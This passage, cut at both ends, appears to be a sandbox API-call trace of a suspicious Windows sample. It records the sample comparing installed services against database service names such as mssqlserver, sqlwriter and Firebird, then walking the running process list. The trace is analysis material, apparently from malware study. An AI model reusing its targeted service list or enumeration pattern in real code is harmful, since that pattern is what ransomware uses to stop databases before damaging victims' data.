lpString2="netprofm") returned -1 [0301.516] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0301.516] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0301.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0301.516] lstrlenW (lpString="NgcSvc") returned 6 [0301.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0301.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0301.516] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0301.516] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0301.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0301.516] lstrlenW (lpString="NlaSvc") returned 6 [0301.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0301.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0301.516] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0301.516] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0301.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0301.516] lstrlenW (lpString="nsi") returned 3 [0301.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0301.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0301.516] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0301.516] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0301.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0301.517] lstrlenW (lpString="PcaSvc") returned 6 [0301.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0301.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0301.517] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0301.517] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0301.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0301.517] lstrlenW (lpString="PlugPlay") returned 8 [0301.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0301.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0301.517] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0301.517] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0301.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0301.517] lstrlenW (lpString="Power") returned 5 [0301.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0301.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0301.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0301.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0301.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0301.517] lstrlenW (lpString="ProfSvc") returned 7 [0301.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0301.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0301.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0301.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0301.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0301.517] lstrlenW (lpString="RpcEptMapper") returned 12 [0301.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.517] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0301.518] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0301.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0301.518] lstrlenW (lpString="RpcSs") returned 5 [0301.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0301.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0301.518] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0301.518] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0301.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0301.518] lstrlenW (lpString="SamSs") returned 5 [0301.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0301.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0301.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0301.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0301.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0301.518] lstrlenW (lpString="Schedule") returned 8 [0301.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0301.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0301.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0301.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0301.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0301.518] lstrlenW (lpString="SecurityHealthService") returned 21 [0301.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0301.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0301.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0301.518] lstrlenW (lpString="SENS") returned 4 [0301.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0301.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0301.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0301.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0301.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0301.519] lstrlenW (lpString="ShellHWDetection") returned 16 [0301.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.519] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0301.519] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0301.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0301.519] lstrlenW (lpString="Spooler") returned 7 [0301.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0301.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0301.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0301.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0301.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0301.519] lstrlenW (lpString="StateRepository") returned 15 [0301.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0301.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0301.519] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0301.519] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0301.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0301.519] lstrlenW (lpString="SysMain") returned 7 [0301.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0301.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0301.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0301.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0301.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0301.519] lstrlenW (lpString="SystemEventsBroker") returned 18 [0301.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0301.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0301.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0301.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0301.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0301.520] lstrlenW (lpString="Themes") returned 6 [0301.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0301.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0301.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0301.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0301.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0301.520] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0301.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0301.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0301.520] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0301.520] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0301.520] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4420898 | out: hHeap=0x700000) returned 1 [0301.520] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0301.822] Process32FirstW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.822] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0301.823] lstrlenW (lpString="System") returned 6 [0301.823] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0301.824] lstrlenW (lpString="smss.exe") returned 8 [0301.824] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.825] lstrlenW (lpString="csrss.exe") returned 9 [0301.825] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0301.826] lstrlenW (lpString="wininit.exe") returned 11 [0301.826] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.827] lstrlenW (lpString="csrss.exe") returned 9 [0301.827] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0301.827] lstrlenW (lpString="winlogon.exe") returned 12 [0301.827] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0301.828] lstrlenW (lpString="services.exe") returned 12 [0301.828] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0301.829] lstrlenW (lpString="lsass.exe") returned 9 [0301.829] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0301.829] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0301.829] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0301.830] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0301.830] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.831] lstrlenW (lpString="svchost.exe") returned 11 [0301.831] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.832] lstrlenW (lpString="svchost.exe") returned 11 [0301.832] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0301.833] lstrlenW (lpString="dwm.exe") returned 7 [0301.833] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.834] lstrlenW (lpString="svchost.exe") returned 11 [0301.834] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.835] lstrlenW (lpString="svchost.exe") returned 11 [0301.835] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.836] lstrlenW (lpString="svchost.exe") returned 11 [0301.836] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.837] lstrlenW (lpString="svchost.exe") returned 11 [0301.837] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.838] lstrlenW (lpString="svchost.exe") returned 11 [0301.838] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.839] lstrlenW (lpString="svchost.exe") returned 11 [0301.839] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.839] lstrlenW (lpString="svchost.exe") returned 11 [0301.839] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.840] lstrlenW (lpString="svchost.exe") returned 11 [0301.840] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.841] lstrlenW (lpString="svchost.exe") returned 11 [0301.841] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.842] lstrlenW (lpString="svchost.exe") returned 11 [0301.842] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0301.842] lstrlenW (lpString="spoolsv.exe") returned 11 [0301.842] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.843] lstrlenW (lpString="svchost.exe") returned 11 [0301.843] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0301.844] lstrlenW (lpString="audiodg.exe") returned 11 [0301.844] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0301.845] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0301.845] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0301.845] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0301.846] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0301.846] lstrlenW (lpString="Memory Compression") returned 18 [0301.846] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.847] lstrlenW (lpString="svchost.exe") returned 11 [0301.847] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0301.848] lstrlenW (lpString="sihost.exe") returned 10 [0301.848] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0301.849] lstrlenW (lpString="taskhostw.exe") returned 13 [0301.849] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0301.850] lstrlenW (lpString="msoia.exe") returned 9 [0301.850] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0301.851] lstrlenW (lpString="explorer.exe") returned 12 [0301.851] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0301.852] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0301.852] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0301.853] lstrlenW (lpString="SearchUI.exe") returned 12 [0301.853] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0301.854] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0301.854] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0301.855] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0301.855] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0301.855] lstrlenW (lpString="dllhost.exe") returned 11 [0301.855] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0301.856] lstrlenW (lpString="chrome64b.exe") returned 13 [0301.856] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0301.857] lstrlenW (lpString="cmd.exe") returned 7 [0301.857] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0301.858] lstrlenW (lpString="conhost.exe") returned 11 [0301.858] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0301.859] lstrlenW (lpString="cmd.exe") returned 7 [0301.859] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0301.860] lstrlenW (lpString="conhost.exe") returned 11 [0301.860] Process32NextW (in: hSnapshot=0x348, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, 